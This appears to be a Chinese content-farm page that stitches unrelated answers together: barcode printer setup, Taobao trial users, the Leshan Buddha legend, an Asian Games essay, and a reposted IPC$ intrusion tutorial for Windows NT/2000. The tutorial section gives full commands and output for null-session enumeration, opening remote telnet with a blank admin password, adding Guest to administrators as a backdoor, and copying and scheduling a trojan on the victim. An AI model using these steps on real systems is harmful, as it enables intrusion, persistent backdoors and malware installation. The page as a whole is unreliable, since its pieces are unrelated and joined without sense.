手托数据库

‘壹’ 热转印条码打印机怎么用

条码打印机使用手册： 

1、打印机卷纸安装。

1.1打开打印机上盖，露出卷支仓。 

1.2取出纸卷架。 

1.3把纸卷由左置右套入纸卷架。 

1.4把纸卷托架连同纸卷一起放回纸卷仓。

1.5将纸卷向左端靠齐。 

1.6将托架上的挡板向左靠紧纸卷。 

1.7打开打印头模组。 

1.8一手托住打印头摸组避免掉落，将标签穿过打印头摸组下，另一只手从标签引导器中拉出标签。

1.9让标签从滚轴上方穿过。 

1.10向下合上打印头摸组，直到听到“喀嚓”的一声。

1.11合上顶盖，打开电源开关，若打印机电源已接通，直接按下FEED键

2、打印机碳带安装 

2.1打开打印机上盖，露出卷支仓。 

2.2按下在打印机两侧的释放钮，打开打印头摸组。 

2.3向上打开打印头摸组露出碳带供应端。

2.4拆开碳带包装，取出碳带和空卷芯 

2.5将碳带前端少量连接到空卷芯上。 

2.6将碳带安装到碳带供应端（先卡左端在压入右端）。

2.7关上打印头摸组在将空卷芯在碳带回收端（先卡左端在压入右端）。 

2.8转动打印头摸组左端的齿轮，确定碳带卷紧。

2.9同时向下按压打印头摸组两侧，直到听到“咔哒”一声。

3、连接打印机 

3.1连接电源线，USB打印线。 

3.2打开电源开关，放入随机光盘安装驱动。

(1)手托数据库扩展阅读：

条码打印机优点：

它除了具有普通打印机的打印功能以外，它还具有的优点有。

1．工业级的品质，不受打印量的限制，可以24小时打印；

2．不受打印材料限制，可以打印PET、铜板纸、热敏纸不干胶标签以及聚酯、PVC等合成材料和水洗标布料等；

3．采用热转印方式打印的文字与图形具有防刮效果，采用特殊碳带打印还可以使打印产品具有防水、防污、防腐蚀、耐高温等特点；

4．打印速度极快，最快可以达到10英寸（24厘米）每秒；

5．可以打印连续的序列号，连接数据库成批打印；

‘贰’ 淘宝走试客路线是什么意思

是指那些走在消费者前沿的人群。在购物前，他们先从互联网上免费索取相关商家的使用赠品。经过仔细试用与其他爱好者相互交流后才进行购买。试客提前告诉了更多消费者哪些经过试客认证，哪些要规避不好的地方。走在消费者前沿的群落更好的帮助大家健康消费。

"试客”在试用完之后，一般还需要对产品给出第三方试用报告。“试用”，是商家推销产品的一种方式，最终目的还是让你购买。试客,最基本的含义便是"试用的人”。与网络试客一样，试客，是互联网的产物。

只要你愿意,你也可以当一回"试客“试客其实离你并不遥远。路过茶叶店,漂亮的促销员手托茶盘，放上小纸杯，请你品尝刚上市的春茶，超市里，玻璃罩罩着切成丁的牛肉干，边放好牙签，请君随意试吃；还有路边派发的餐巾纸，小袋洗发水，小支洗面奶。

(2)手托数据库扩展阅读：

试客的人群定义：

时下，试客风潮的兴起，使国内众多网络中介平台陆续诞生，它们的经营模式多是以免费发送试用品为基础，通过为合作企业进行消费数据调研分析、广告位出售等有偿服务获得赢利，使得任何网民只要注册为用户，即可享受试用网提供的合作企业所赠试用品的所有免费服务。

形式看似简单，但由此却可以形成一个能够带动消费市场调研、个性化广告方案推广、数据库营销等多重业务领域增长的试客经济产业链条。

要想成为试客并不难，任何网民只要登录各大试用网站，填写真实个人资料并申请所看中的商品，得到厂商审批后即可获得邮寄的试用赠品，流程极其简单。目前很多试用网站已经能为试客提供涵盖吃、穿、用、玩各个方面数十个品牌的多种商品。

‘叁’ 向大大专利手托杯向大大内衣是申请专利的吗

是的，而且向大大内衣都有检验报告的

‘肆’ 求乐山大佛的景点风光,故事,传说和参观注意的事项,一共400字以内,4年级作文

一直以来很多人都在探讨传说，今天我们把乐山大佛的传说就好好整理了一下。不少人参观过乐山大佛,可是你知道乐山大佛的 来历吗?传说唐朝初年，凌云山上有一座凌云寺，凌云寺里有一个老和尚，叫海通。当时凌云山下，岷江、青衣江、大渡河三江汇流处，水深流急，波涌浪翻，经常吞没行船，危害百姓。海通和尚眼看船毁人亡，心中十分不忍。他想三江水势这样猖獗，水中必有水怪。要是在这岩石上刻造佛像，借着菩萨的法力，定能降服水怪，使来往船只不再受害。

乐山大佛：发源于川北大雪山的岷江，带着大量的雪水，滚滚南下。当它进入成都平原，来到乐山城下，已经是一条水面开阔的大江了。在这里，它同波涛汹涌的大渡河，水流湍急的青衣江汇合。就在这三江汇合得地方，坐着一尊世界上最大的佛像 - 乐山凌云大佛。

驰名中外的乐山大佛，端坐在乐山坡东面的凌云山上。大佛高七十一米，面对三江，西望峨眉，依山而坐，雄伟庄严。难怪人们称它：山是一尊佛，佛是一座山。这尊大佛是怎样修起来的呢？

相传，唐朝的时候，贵州有个和尚，法名海通，是一位博学多才的高僧。他云游四海，发愿要为百姓做善事。这年夏天，他来到四川嘉州。不久听说府城城东凌云山下江水汹涌、波浪滔天，常常掀翻船只，危害生灵。一天，他想亲自去查看一下，便攀着岩壁来到凌云山脚。忽见一个激浪打在岩上，浪头退去后，一个壮年汉子躺在水边，左手拿钻，右手拿锤，一动不动。海通和尚忙上前，把汉子背到岸上，过了好一阵，他才慢慢苏醒过来。

原来，那汉子名叫石青，是个石匠，他见凌云山下水势凶勐，来往船只常常翻沉，许多船工兄弟白白地送了性命，心里实在不忍，便决心在石壁上凿一路篙眼，好让船工们的竹篙插在篙眼中，撑住木船不碰在石壁上。不料刚打了几下，一个恶浪扑来，他就什么也不知道了。石青的行动感动了海通。第二天，海通和石青相约又登上凌云山察看。他们站在百丈悬崖上，只见下面滩险水恶，江涛汹涌澎湃，如万马奔腾，直向峭壁冲来，发出惊天动地的响声。这时，正有一只木船顺江而下。

乐山大佛的传说有点像鬼故事啊！突然，那船就象离弦的箭飞奔而来。眼看靠近岩石，这时，水中勐地出现一个怪物，掀起一股黑浪，把木船吞没了。海通一迭连声地口念“阿弥陀佛”，石青怒不可遏，苦于没有降妖的法力。海通道：”不如在这山岩上凿一尊弥勒大佛，一来借佛祖法力收妖镇怪，二来也可减弱水势，保护行船。”石青听了连连点头。于是，石青就在凌云山上打了个石洞，让海通和尚在洞内居住下来。

在乐山大佛外围，发现了一尊全身长达 4000 余米，有几座山体组成的“巨型睡佛”。这尊睡佛四肢齐全，体态匀称，面目清秀，安详地漂卧在青衣江山嵴在线，仰面朝天，慈祥凝重。着名的乐山大佛不偏不倚正好端坐在巨佛心脏部位。巨佛的头、身、足，分别由乌尤山、凌云山和龟城山三山连襟组成。佛头由整个乌尤山构成，山上的石、翠竹、绿荫、山径、亭阁、寺庙，分别呈现为巨佛的发髻、睫毛 鼻梁、双唇和下颚；佛身由凌云山构成，山上九峰相连，犹如巨佛宽广的胸膛、浑圆的腰和健美的腿；脚板翘起的佛足是龟城山的一部分。佛的整个体态十分逼真、自然、和谐，犹如天造地设，毫无人工刀迹斧痕。现观看卧佛的最佳位置就在乐山市滨江路“福全门”。

无独有偶，此后不久乐山市又发现一尊形态逼真长 3000 米的巨型“女卧佛”，它由三龟山、东岩山构成。下龟山为女佛的头，下、中龟山间为其颈，中龟山一峰凸起犹如其胸，上龟山、东岩山为其双腿。两佛抵足相连。观看女佛在“福全门”上游百米之内。

海通和石青一面察看水势，一面测量地形，分头准备凋刻大佛的事。海通和尚翻山越岭，行船过水，到江淮一带募化资金；石青在嘉州城乡物色能工巧匠，打造工具。经过了 三年的准备，开元六年便开始动工了。

海通和石青修大佛的事，一传十，十传百，很快传了开去。方圆数十里的百姓，出力的出力，出钱的出钱，纷纷前来相助。一时间，凌云山上，千人挥臂，万人呐喊，闹腾起来。从山岩上打下的石头，象下雨一样轰隆隆地掉进河里，激起无数浪花。

谁知，滚滚而下的巨石惊动了江底的那条妖龙。它是李冰当年修都江堰时，用铁链锁在江底的一条孽龙。因铁链年久锈坏，孽龙挣脱枷锁，逃到凌云山下，兴风作浪，为所欲 为。这孽龙见山上滚下许多石头，堵住了洞口，忙施起妖法，掀起狂风恶浪，把海通和尚卷入洞中。

石青见妖龙卷走了海通和尚，忙带领众石匠，拿着铁钎、钻子、铁锤等工具下去寻找。不一会儿，找到了石洞，石青领头杀了进去，只见孽龙支使一群小妖正要将海通押向油锅。石青大喊一声：“哪里来的妖龙，胆敢伤我法师！”随即带领众石匠冲了过去，将孽龙团团围住。孽龙见寡不敌众，只得逃下了江底。

工匠们又继续凿岩刻佛。可是没多久，平地忽然狂风不止，飞沙定石，天昏地暗，暴雨倾盆而下，接连下了七七四十九天，凌云山上洪水暴发，一股股山洪直冲大佛头顶。海通和尚发愁了：这样大的洪水，即使是铜铸铁造的佛像也会冲坏的。石青眉头一皱，计上心来，忙安慰海通说：“师父不要担忧，我自有办法。”他和众石匠商量，决定在大佛头上、身上修凿排水沟排水泄流。只见石青腰系绳索，冒着生命危险，悬空凿石。狂风和洪水一次又一次将他冲得悬空吊在半岩上，他一次又一次攀着绳索爬了上去。石青和众工匠们舍生忘死，坚持不懈，终于凿成了排水沟，消除了洪水的冲蚀。

那时，嘉州新任一个刺史，爱财如命。他打听到海通和尚募化了许多银子，就带着一群衙役来到凌云山上，气势汹汹地对海通说：“大胆和尚，你未经官府许可，私自动工兴修大佛，该当何罪？来人，给我锁走！”几个衙役冲过去就要动手，只见石青伸手挡住说：“修大佛是为了镇妖降魔，减弱水势，解除灾害，有什么罪过？你们要锁锁我吧！”海通忙对石青说：“工地上没你不行，天大的事我来承担。”那贪官见风转舵，便装模做样地说，“和尚听着，本官姑念你是出家之人，可免你牢狱之苦。不过，你等破坏我嘉州风水，得拿出白银三万两赔偿。”海通一听这贪官原是来敲竹杠的，顿时胸中升起一股怒火，说：“这银子来自千千万万的善男信女，我海通怎敢动用半文。自目可剜，佛财难得 ！”

乐山大佛的传说之狗官以为海通是说话来吓人的，就说：“那就把你的眼睛剜出来给本官看看。”海通听了，冷然一笑，不慌不忙地将双指插入自己的眼睛。两颗跟珠落入了手中的盘子里。海通端着盘子，直向面前的贪官走去。边走边说：“拿去吧！”贪官和那些狐群狗党，见海通和尚剜下双目，毫不动容，一个个吓得目瞪口呆，灰熘熘地逃回去了。海通虽然失掉了两只眼睛，但刻佛的意志毫不动摇。对修建大佛更加关心，常常拄着拐杖，由小沙弥扶着，来到工地， 陪伴石匠们干活。大家见了，感动不已，含着眼泪劝他回去休息。海通执意不肯，说：“我虽不能看着大佛建成，也要听着你们把大佛建成啊！”

然而，乐山大佛的传说之主角海通生前并没有实现自己的宏愿，不几年，他就圆寂归天了。以后，石青等老石匠也相继去世了。后来，西川节度使韦皋继承了海通和石青的事业，组织人力物力继续开凿，直到唐德宗贞元十九年，整整花了九十年，才修凿完工。后来，人们为了纪念海通，就把他当年住过的山洞叫做“海师洞”。直到现在，洞内还有一个盘膝而坐、神情坚毅、手托盛眼珠的玉盘的海通塑像。

这座大佛开凿于唐玄宗开元初年( 713 年)，由凌云寺的海通和尚发起造像，工程一度中断，直到唐德宗贞元十九年( 803 年)，才由剑南西川节度使韦皋完成，历时九十年。

令人惊异的是，在没有科学仪器的情况下，古人是用什么方法保证它的各个部分之间比例适当、体态均称的呢？ 细心的游人会发现大佛的两耳和头颅后面，凿有纵横的排水沟，一场大雨后，积水很快就通过这些排水沟排走了，使佛像不至为雨水侵蚀。这座大佛，经过一千多年仍能保持完好，在一定程度上要归功于这套科学的排水系统。 1990 年国家拨款对大佛进行了比较彻底的维修。同时增加了一些配套设施及服务设施。把这一旅游点建设得更加完善。

大佛背靠山崖，面临大江。当游客们观赏大佛时，同时也就游览了凌云山的胜景。 大佛背靠得这座凌云山早在隋唐时就是着名的风景区和佛教胜地。

以上就是《乐山大佛的传说》希望大家有所了解！让你知道乐山大佛的方方面面，过去种种

‘伍’ 写一篇亚运的周记

2010年11月12日在中国广州又迎来了在中国举办的第二次亚运会，广州亚运会的开幕式仿佛是一台气势恢弘的史诗般杰作，一开始的千人击缶气势磅薄；接着的飞天翱翔五环激荡。中国画写意淋漓尽致；传统武术博大精深。造纸术、活字印刷术、和火药通过艺术与科技的手法一一展示。时间不长的一个多小时文艺节目将晚会推向了一个又一个高潮。现场观众欢呼声如浪潮般此起彼伏，相机的闪光灯如同银河群星般闪耀。当各国运动员入场后？？？通过独特的方式将亚运圣火点燃，开幕式更是到了一个仿佛疯狂的高潮，那一刻，体育馆沸腾了，广州沸腾了，全中国沸腾了。

说句实话，这次的广州亚运会开幕式是我见过有史以来亚运会最精彩的一次，具有很强的艺术感染力和震憾力。它向全世界表达了一种理念，向全世界表达了一种承诺“人文亚运，绿色亚运，科技亚运。”在10年这样一个国际国内形势如此困难的时刻，我们不仅如期举办了开幕式，而且还如此的成功。这充分表明了我们国家的综合国力是强大的，我们中国人民是不可战胜了。我深为自已是中华一分子而兴奋和自豪。中国加油！

‘陆’ 局域网内可以空链接对方机，用什么方法入侵呢

ipc$空连接使用
[ 2006-9-20 10:32:51 | By: yunlin2000 ]

目录 ：

一 前言
二 什么是ipc$
三 什么是空会话
四 空会话可以做什么
五 ipc$连接所使用的端口
六 ipc$连接在hack攻击中的意义
七 ipc$连接失败的常见原因
八 复制文件失败的原因
九 如何打开目标的IPC$共享以及其他共享
十 一些需要shell才能完成的命令
十一 入侵中可能会用到的相关命令
十二 ipc$完整入侵步骤祥解
十三 如何防范ipc$入侵
十四 ipc$入侵问答精选
十五 结束的话

一 前言

网上关于ipc$入侵的文章可谓多如牛毛，而且也不乏优秀之作，攻击步骤甚至可以说已经成为经典的模式，因此也没人愿意再把这已经成为定式的东西拿出来摆弄。
不过话虽这样说，但我个人认为这些文章讲解的并不详细，对于第一次接触ipc$的菜鸟来说，简单的罗列步骤并不能解答他们的种种迷惑（你随便找一个hack论坛搜一下ipc$，看看存在的疑惑有多少）。因此我参考了网上的一些资料，教程以及论坛帖子，写了这篇总结性质的文章，想把一些容易混淆，容易迷惑人的问题说清楚，让大家不要总徘徊在原地!
注意：本文所讨论的各种情况均默认发生在win NT/2000环境下，win98将不在此次讨论之列，而鉴于win Xp在安全设置上有所提高，个别操作并不适用，有机会将单独讨论。

二 什么是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。
平时我们总能听到有人在说ipc$漏洞，ipc$漏洞，其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说，一定是指微软自己安置的那个‘后门’：空会话（Null session）。那么什么是空会话呢？

三 什么是空会话

在介绍空会话之前，我们有必要了解一下一个安全会话是如何建立的。
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的，建立成功的会话将成为一个安全隧道，建立双方通过它互通信息，这个过程的大致顺序如下：
1）会话请求者（客户）向会话接收者（服务器）传送一个数据包，请求安全隧道的建
立；
2）服务器产生一个随机的64位数（实现挑战）传送回客户；
3）客户取得这个由服务器产生的64位数，用试图建立会话的帐号的口令打乱它，将结
果返回到服务器（实现响应）；
4）服务器接受响应后发送给本地安全验证（LSA），LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号，核实本地发生；如果请求的帐号是一个域的帐号，响应传送到域控制器去核实。当对挑战的响应核实为正确后，一个访问令牌产生，然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
以上是一个安全会话建立的大致过程，那么空会话又如何呢？

空会话是在没有信任的情况下与服务器建立的会话（即未提供用户名与密码），但根据WIN2000的访问控制模型，空会话的建立同样需要提供一个令牌，可是空会话在建立过程中并没有经过用户信息的认证，所以这个令牌中不包含用户信息，因此，这个会话不能让系统间发送加密信息，但这并不表示空会话的令牌中不包含安全标识符SID（它标识了用户和所属组），对于一个空会话，LSA提供的令牌的SID是S-1-5-7，这就是空会话的SID，用户名是：ANONYMOUS LOGON（这个用户名是可以在用户列表中看到的，但是是不能在SAM数据库中找到，属于系统内置的帐号），这个访问令牌包含下面伪装的组：
Everyone
Network
在安全策略的限制下，这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢？

四 空会话可以做什么

对于NT，在默认安全设置下，借助空连接可以列举目标主机上的用户和共享，访问everyone权限的共享，访问小部分注册表等，并没有什么太大的利用价值；对2000作用更小，因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表，而且实现起来也不方便，需借助工具。从这些我们可以看到，这种非信任会话并没有多大的用处，但从一次完整的ipc$入侵来看，空会话是一个不可缺少的跳板，因为我们从它那里可以得到户列表，这对于一个老练的黑客已经足够了。以下是空会话中能够使用的具体命令：

1 首先，我们先建立一个空会话（需要目标开放ipc$）
命令：net use \\ip\ipc$ "" /user:""
注意：上面的命令包括四个空格，net与use中间有一个空格，use后面一个，密码左右各一个空格。

2 查看远程主机的共享资源
命令：net view \\IP
解释：建立了空连接后，用此命令可以查看远程主机的共享资源，如果它开了共享，可以得到如下类似类似结果：
在 \\*.*.*.*的共享资源
资源共享名 类型 用途 注释

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看远程主机的当前时间
命令：net time \\IP
解释：用此命令可以得到一个远程主机的当前时间。

4 得到远程主机的NetBIOS用户名列表（需要打开自己的NBT）
nbtstat -A IP
用此命令可以得到一个远程主机的NetBIOS用户名列表（需要你的netbios支持），返回如下结果：

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我们经常使用空会话做的事情，好像也能获得不少东西哟，不过要注意一点：建立IPC$连接的操作会在EventLog中留下记录，不管你是否登录成功。 好了，那么下面我们就来看看ipc$所使用的端口是什么？

五 ipc$所使用的端口

首先我们来了解一些基础知识：
1 SMB:(Server Message Block) Windows协议族，用于文件打印共享的服务；
2 NBT:(NETBios Over TCP/IP)使用137（UDP）138（UDP）139（TCP）端口实现基于TCP/IP协议的NETBIOS网络互联。
3 在WindowsNT中SMB基于NBT实现，而在Windows2000中，SMB除了基于NBT实现，还可以直接通过445端口实现。

有了这些基础知识，我们就可以进一步来讨论访问网络共享对端口的选择了：

对于win2000客户端来说：
1 如果在允许NBT的情况下连接服务器时，客户端会同时尝试访问139和445端口，如果445端口有响应，那么就发送RST包给139端口断开连接，用455端口进行会话，当445端口无响应时，才使用139端口，如果两个端口都没有响应，则会话失败；
2 如果在禁止NBT的情况下连接服务器时，那么客户端只会尝试访问445端口，如果445端口无响应，那么会话失败。由此可见，禁止了NBT后的win 2000对win NT的共享访问将会失败。

对于win2000服务器端来说：
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放；
2 如果禁止NBT，那么只有445端口开放。

我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见，如果远程服务器没有监听139或445端口，ipc$会话是无法建立的。

六 ipc$连接在hack攻击中的意义

就像上面所说的，即使你建立了一个空的连接，你也可以获得不少的信息（而这些信息往往是入侵中必不可少的），如果你能够以某一个具有一定权限的用户身份登陆的话，那么你就会得到相应的权限，显然，如果你以管理员身份登陆,嘿嘿,那你可就了不得了，基本上可以为所欲为了。不过你也不要高兴的太早，因为管理员的密码不是那么好搞到的，虽然会有一些粗心的管理员存在弱口令，但这毕竟是少数，而且现在不比从前了，随着人们安全意识的提高，管理员们也愈加小心了，得到管理员密码将会越来越难的，因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接，甚至在主机不开启ipc$共享时，你根本就无法连接，你会慢慢的发现ipc$连接并不是万能的，所以不要奢望每次连接都能成功，那是不现实的。
是不是有些灰心？倒也不用,关键是我们要摆正心态，不要把ipc$入侵当作终极武器，不要认为它战无不胜,它只是很多入侵方法中的一种，你有可能利用它一击必杀，也有可能一无所获，这些都是正常的，在黑客的世界里，不是每条大路都能通往罗马，但总有一条路会通往罗马，耐心的寻找吧！

七 ipc$连接失败的常见原因

以下是一些常见的导致ipc$连接失败的原因：

1 IPC连接是Windows NT及以上系统中特有的功能，由于其需要用到Windows NT中很多DLL函数，所以不能在Windows 9.x/Me系统中运行，也就是说只有nt/2000/xp才可以相互建立ipc$连接，98/me是不能建立ipc$连接的；

2 如果想成功的建立一个ipc$连接，就需要对方开启ipc$共享，即使是空连接也是这样，如果对方关闭了ipc$共享，你将会建立失败；

3 你未启动Lanmanworkstation服务，它提供网络链结和通讯，没有它你无法发起连接请求（显示名为：Workstation）；

4 对方未启动Lanmanserver服务，它提供了 RPC 支持、文件、打印以及命名管道共享，ipc$依赖于此服务，没有它远程主机将无法响应你的连接请求（显示名为：Server）；

5 对方未启动NetLogon，它支持网络上计算机 pass-through 帐户登录身份；

6 对方禁止了NBT（即未打开139端口）；

7 对方防火墙屏蔽了139和445端口；

8 你的用户名或者密码错误（显然空会话排除这种错误）；

9 命令输入错误：可能多了或少了空格，当用户名和密码中不包含空格时两边的双引号可以省略，如果密码为空，可以直接输入两个引号""即可；

10 如果在已经建立好连接的情况下对方重启计算机，那么ipc$连接将会自动断开，需要重新建立连接。

另外,你也可以根据返回的错误号分析原因：
错误号5，拒绝访问：很可能你使用的用户不是管理员权限的，先提升权限；
错误号51，Windows无法找到网络路径：网络有问题；
错误号53，找不到网络路径：ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
错误号67，找不到网络名：你的lanmanworkstation服务未启动或者目标删除了ipc$；
错误号1219，提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个ipc$，请删除再连；
错误号1326，未知的用户名或错误密码：原因很明显了；
错误号1792，试图登录，但是网络登录服务没有启动：目标NetLogon服务未启动；
错误号2242，此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。

八 复制文件失败的原因

有些朋友虽然成功的建立了ipc$连接，但在时却遇到了这样那样的麻烦，无法复制成功，那么导致复制失败的常见原因又有哪些呢？

1 盲目复制
这类错误出现的最多，占到50%以上。许多朋友甚至都不知道对方是否有共享文件夹，就进行盲目复制，结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下对方的共享情况，不要认为ipc$连接建立成功了就一定有共享文件夹。

2 默认共享判断错误
这类错误也是大家经常犯的，主要有两个小方面：

1）错误的认为能建立ipc$连接的主机就一定开启了默认共享，因而在建立完连接之后马上向admin$之类的默认共享复制文件，导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享，ipc$共享与默认共享是两码事，ipc$共享是一个命名管道，并不是哪个实际的文件夹，而默认共享并不是ipc$共享的必要条件；

2）由于net view \\IP 无法显示默认共享（因为默认共享带$），因此通过这个命令，我们并不能判断对方是否开启了默认共享，因此如果对方未开启默认共享，那么所有向默认共享进行的操作都不能成功；（不过大部分扫描软件在扫弱口令的同时，都能扫到默认共享目录，可以避免此类错误的发生）

3用户权限不够，包括四种情形：
1）空连接向所有共享（默认共享和普通共享）复制时，大多情况下权限是不够的；
2）向默认共享复制时，要具有管理员权限；
3）向普通共享复制时，要具有相应权限（即对方事先设定的访问权限）；
4）对方可以通过防火墙或安全软件的设置，禁止外部访问共享；

还需要说明一点：不要认为administrator就一定是管理员，管理员名称是可以改的。

4被防火墙杀死或在局域网
也许你的复制操作已经成功，但当远程运行时，被防火墙杀掉了，导致找不到文件；还有可能你把木马复制到了局域网内的主机，导致连接失败。因此建议你复制时要小心，否则就前功尽弃了。

呵呵，大家也知道，ipc$连接在实际操作过程中会出现千奇百怪的问题，上面我所总结的只是一些常见错误，没说到的，只能让大家自己去体会了。

九 如何打开目标的IPC$共享以及其他共享

目标的ipc$不是轻易就能打开的，否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马等，然后在shell下执行net share ipc$来开放目标的ipc$，用net share ipc$ /del来关闭共享。如果你要给它开共享文件夹，你可以用net share baby=c:\，这样就把它的c盘开为共享名为baby共享了。

十 一些需要shell才能完成的命令

看到很多教程这方面写的十分不准确，一些需要shell才能完成命令就简简单单的在ipc$连接下执行了，起了误导作用。那么下面我总结一下需要在shell才能完成的命令：

1 向远程主机建立用户，激活用户，修改用户密码，加入管理组的操作需要在shell下完成；

2 打开远程主机的ipc$共享，默认共享，普通共享的操作需要在shell下完成；

3 运行/关闭远程主机的服务，需要在shell下完成；

4 启动/杀掉远程主机的进程，也需要在shell下完成。

十一 入侵中可能会用到的相关命令

请注意命令适用于本地还是远程，如果适用于本地，你只能在获得远程主机的shell后，才能向远程主机执行。

1 建立空连接:
net use \\IP\ipc$ "" /user:""

2 建立非空连接:
net use \\IP\ipc$ "psw" /user:"account"

3 查看远程主机的共享资源（但看不到默认共享）
net view \\IP

4 查看本地主机的共享资源（可以看到本地的默认共享）
net share

5 得到远程主机的用户名列表
nbtstat -A IP

6 得到本地主机的用户列表
net user

7 查看远程主机的当前时间
net time \\IP

8 显示本地主机当前服务
net start

9 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y

10 映射远程共享:
net use z: \\IP\baby
此命令将共享名为baby的共享资源映射到z盘

11 删除共享映射
net use c: /del 删除映射的c盘，其他盘类推
net use * /del /y删除全部

12 向远程主机复制文件
\路径\srv.exe \\IP\共享目录名，如：
ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内

13 远程添加计划任务
at \\ip 时间 程序名，如：
at \\127.0.0.0 11:00 love.exe
注意：时间尽量使用24小时制；在系统默认搜索路径（比如system32/）下不用加路径，否则必须加全路径

14 开启远程主机的telnet
这里要用到一个小程序：opentelnet.exe，各大下载站点都有，而且还需要满足四个要求：

1）目标开启了ipc$共享
2）你要拥有管理员密码和帐号
3）目标开启RemoteRegistry服务，用户就该ntlm认证
4）对WIN2K/XP有效，NT未经测试
命令格式：OpenTelnet.exe \\server account psw NTLM认证方式 port
试例如下：c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90

15 激活用户/加入管理员组
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 关闭远程主机的telnet
同样需要一个小程序：ResumeTelnet.exe
命令格式：ResumeTelnet.exe \\server account psw
试例如下：c:\>ResumeTelnet.exe \\*.*.*.* administrator ""

17 删除一个已建立的ipc$连接
net use \\IP\ipc$ /del

（本教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区原创http://ccbirds.yeah.net）

十二 ipc$完整入侵步骤祥解

其实入侵步骤随个人爱好有所不同，我就说一下常见的吧，呵呵，献丑了！

1 用扫描软件搜寻存在若口令的主机，比如流光，SSS，X-scan等，随你的便，然后锁定目标，如果扫到了管理员权限的口令，你可以进行下面的步骤了，假设你现在得到了administrator的密码为空

2 此时您有两条路可以选择：要么给对方开telnet（命令行）,要么给它传木马（图形界面），那我们就先走telnet这条路吧

3上面开telnet的命令没忘吧，要用到opentelnet这个小程序
c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90
如果返回如下信息
*******************************************************
Remote Telnet Configure, by refdom
Email: [email protected]
OpenTelnet.exe

Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.21.*...Successfully!

NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

Starting telnet service...
telnet service is started successfully! telnet service is running!

BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
*说明你已经打开了一个端口90的telnet。

4 现在我们telnet上去
telnet 192.168.21.* 90
如果成功，你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了，那么做点什么呢？把guest激活再加入管理组吧，就算留个后门了

5 C:\>net user guest /active:yes
*将Guest用户激活，也有可能人家的guest本来就试活的，你可以用net user guest看一下它的帐户启用的值是yes还是no

6 C:\>net user guest 1234
*将Guest的密码改为1234,或者改成你喜欢的密码

7 C:\>net localgroup administrators guest /add
*将Guest变为Administrator，这样，即使以后管理员更改了他的密码，我们也可以用guest登录了，不过也要提醒您，因为通过安全策略的设置，可以禁止guest等帐户的远程访问，呵呵，如果真是这样，那我们的后门也就白做了，愿上帝保佑Guest。

8 好了，现在我们来走另一条路，给它传个木马玩玩

9 首先，我们先建立起ipc$连接
C:\>net use \\192.168.21.*\ipc$ "" /user:administrator

10 既然要上传东西，就要先知道它开了什么共享
C:\>net view \\192.168.21.*
在 \\192.168.21.*的共享资源
资源共享名 类型 用途 注释

-----------------------------------------------------------
C Disk
D Disk
命令成功完成。
*好了，我们看到对方共享了C,D两个盘，我们下面就可以向任意一个盘复制文件了。再次声明，因为用net view命令无法看到默认共享，因此通过上面返回的结果，我们并不能判断对方是否开启了默认共享。

11 C:\> love.exe \\192.168.21.*\c
已复制 1 个文件
*用这个命令你可以将木马客户端love.exe传到对方的c盘下，当然，如果能复制到系统文件夹下是最好的了，不容易被发现

12 运行木马前，我们先看看它现在的时间
net time \\192.168.21.*
\\192.168.21.*的当前时间是 2003/8/22 上午 11:00
命令成功完成

13 现在我们用at运行它吧，不过对方一定要开了Task Scheler服务（允许程序在指定时间运行），否则就不行了
C:\>at \\192.168.21.* 11:02 c:\love.exe
新加了一项作业，其作业 ID = 1

14 剩下就是等了，等过了11:02，你就可以用控制端去连接了，如果成功你将可以用图形界面去控制远程主机了，如果连接失败，那么它可能在局域网里，也可能程序被防火墙杀了，还可能它下线了（没这么巧吧），无论哪种情况你只好放弃了

